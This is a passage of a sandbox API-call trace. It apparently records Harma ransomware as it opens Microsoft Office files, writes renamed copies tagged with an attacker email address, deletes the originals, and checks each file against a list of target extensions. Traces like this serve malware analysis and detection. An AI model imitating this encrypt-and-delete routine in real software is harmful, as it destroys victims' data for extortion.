office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.813] GetLastError () returned 0x0 [0157.813] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x26d, lpOverlapped=0x0) returned 1 [0157.829] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x270, lpOverlapped=0x0) returned 1 [0157.830] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.830] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0157.830] SetEndOfFile (hFile=0x388) returned 1 [0157.830] CloseHandle (hObject=0x388) returned 1 [0157.830] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.830] SetEndOfFile (hFile=0x20c) returned 1 [0157.832] CloseHandle (hObject=0x20c) returned 1 [0157.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 1 [0157.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.833] lstrlenW (lpString=".doc") returned 4 [0157.833] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.833] lstrlenW (lpString=".docx") returned 5 [0157.833] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.833] lstrlenW (lpString=".pdf") returned 4 [0157.834] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString=".xls") returned 4 [0157.834] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString=".xlsx") returned 5 [0157.834] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.834] lstrlenW (lpString=".ppt") returned 4 [0157.834] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString=".zip") returned 4 [0157.834] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString=".rar") returned 4 [0157.834] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString=".bz2") returned 4 [0157.834] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.834] lstrlenW (lpString=".7z") returned 3 [0157.834] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString=".dbf") returned 4 [0157.834] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString=".1cd") returned 4 [0157.834] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString=".jpg") returned 4 [0157.834] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.834] lstrlenW (lpString=".doc") returned 4 [0157.834] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.834] lstrlenW (lpString=".docx") returned 5 [0157.835] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.835] lstrlenW (lpString=".pdf") returned 4 [0157.835] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.835] lstrlenW (lpString=".xls") returned 4 [0157.835] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.835] lstrlenW (lpString=".xlsx") returned 5 [0157.835] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.835] lstrlenW (lpString=".ppt") returned 4 [0157.835] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.835] lstrlenW (lpString=".zip") returned 4 [0157.835] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.835] lstrlenW (lpString=".rar") returned 4 [0157.835] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.835] lstrlenW (lpString=".bz2") returned 4 [0157.835] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.835] lstrlenW (lpString=".7z") returned 3 [0157.835] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.835] lstrlenW (lpString=".dbf") returned 4 [0157.835] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.835] lstrlenW (lpString=".1cd") returned 4 [0157.835] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61 [0157.835] lstrlenW (lpString=".jpg") returned 4 [0157.835] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.836] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0157.836] lstrlenW (lpString="MSPUB_COL.HXT") returned 13 [0157.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.836] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=205) returned 1 [0157.836] CloseHandle (hObject=0x20c) returned 1 [0157.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 0x20 [0157.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.837] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.837] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.837] GetLastError () returned 0x0 [0157.837] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xcd, lpOverlapped=0x0) returned 1 [0157.838] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0157.839] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.839] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xee, lpOverlapped=0x0) returned 1 [0157.839] SetEndOfFile (hFile=0x388) returned 1 [0157.839] CloseHandle (hObject=0x388) returned 1 [0157.840] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.840] SetEndOfFile (hFile=0x20c) returned 1 [0157.842] CloseHandle (hObject=0x20c) returned 1 [0157.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 1 [0157.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.843] lstrlenW (lpString=".doc") returned 4 [0157.843] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.843] lstrlenW (lpString=".docx") returned 5 [0157.843] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.843] lstrlenW (lpString=".pdf") returned 4 [0157.843] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.843] lstrlenW (lpString=".xls") returned 4 [0157.843] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString=".xlsx") returned 5 [0157.844] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.844] lstrlenW (lpString=".ppt") returned 4 [0157.844] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString=".zip") returned 4 [0157.844] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString=".rar") returned 4 [0157.844] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString=".bz2") returned 4 [0157.844] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.844] lstrlenW (lpString=".7z") returned 3 [0157.844] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString=".dbf") returned 4 [0157.844] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString=".1cd") returned 4 [0157.844] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString=".jpg") returned 4 [0157.844] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.844] lstrlenW (lpString=".doc") returned 4 [0157.844] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0157.844] lstrlenW (lpString=".docx") returned 5 [0157.844] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0157.844] lstrlenW (lpString=".pdf") returned 4 [0157.844] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0157.844] lstrlenW (lpString=".xls") returned 4 [0157.845] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0157.845] lstrlenW (lpString=".xlsx") returned 5 [0157.845] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0157.845] lstrlenW (lpString=".ppt") returned 4 [0157.845] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0157.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.845] lstrlenW (lpString=".zip") returned 4 [0157.845] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0157.845] lstrlenW (lpString=".rar") returned 4 [0157.845] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0157.845] lstrlenW (lpString=".bz2") returned 4 [0157.845] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0157.845] lstrlenW (lpString=".7z") returned 3 [0157.845] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0157.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.845] lstrlenW (lpString=".dbf") returned 4 [0157.845] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0157.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.845] lstrlenW (lpString=".1cd") returned 4 [0157.845] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0157.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0157.845] lstrlenW (lpString=".jpg") returned 4 [0157.845] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0157.845] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.845] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0157.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.846] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0157.846] CloseHandle (hObject=0x20c) returned 1 [0157.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 0x20 [0157.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.846] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.847] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.847] GetLastError () returned 0x0 [0157.848] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0157.865] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.868] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.868] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0157.868] SetEndOfFile (hFile=0x388) returned 1 [0157.868] CloseHandle (hObject=0x388) returned 1 [0157.868] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.868] SetEndOfFile (hFile=0x20c) returned 1 [0157.871] CloseHandle (hObject=0x20c) returned 1 [0157.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 1 [0157.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.873] lstrlenW (lpString=".doc") returned 4 [0157.873] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.873] lstrlenW (lpString=".docx") returned 5 [0157.873] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.873] lstrlenW (lpString=".pdf") returned 4 [0157.873] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.873] lstrlenW (lpString=".xls") returned 4 [0157.873] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.873] lstrlenW (lpString=".xlsx") returned 5 [0157.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.873] lstrlenW (lpString=".ppt") returned 4 [0157.873] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.873] lstrlenW (lpString=".zip") returned 4 [0157.873] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.873] lstrlenW (lpString=".rar") returned 4 [0157.873] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.873] lstrlenW (lpString=".bz2") returned 4 [0157.873] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.874] lstrlenW (lpString=".7z") returned 3 [0157.874] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString=".dbf") returned 4 [0157.874] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString=".1cd") returned 4 [0157.874] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString=".jpg") returned 4 [0157.874] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString=".doc") returned 4 [0157.874] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.874] lstrlenW (lpString=".docx") returned 5 [0157.874] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.874] lstrlenW (lpString=".pdf") returned 4 [0157.874] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString=".xls") returned 4 [0157.874] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString=".xlsx") returned 5 [0157.874] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.874] lstrlenW (lpString=".ppt") returned 4 [0157.874] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.874] lstrlenW (lpString=".zip") returned 4 [0157.874] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString=".rar") returned 4 [0157.874] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.874] lstrlenW (lpString=".bz2") returned 4 [0157.875] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.875] lstrlenW (lpString=".7z") returned 3 [0157.875] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.875] lstrlenW (lpString=".dbf") returned 4 [0157.875] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.875] lstrlenW (lpString=".1cd") returned 4 [0157.875] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0157.875] lstrlenW (lpString=".jpg") returned 4 [0157.875] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.875] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.875] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0157.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.876] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0157.876] CloseHandle (hObject=0x20c) returned 1 [0157.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 0x20 [0157.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0157.876] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.876] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.877] GetLastError () returned 0x0 [0157.877] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0157.878] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.879] ReadFile (in: hFile=0x20c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.879] WriteFile (in: hFile=0x388, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf2, 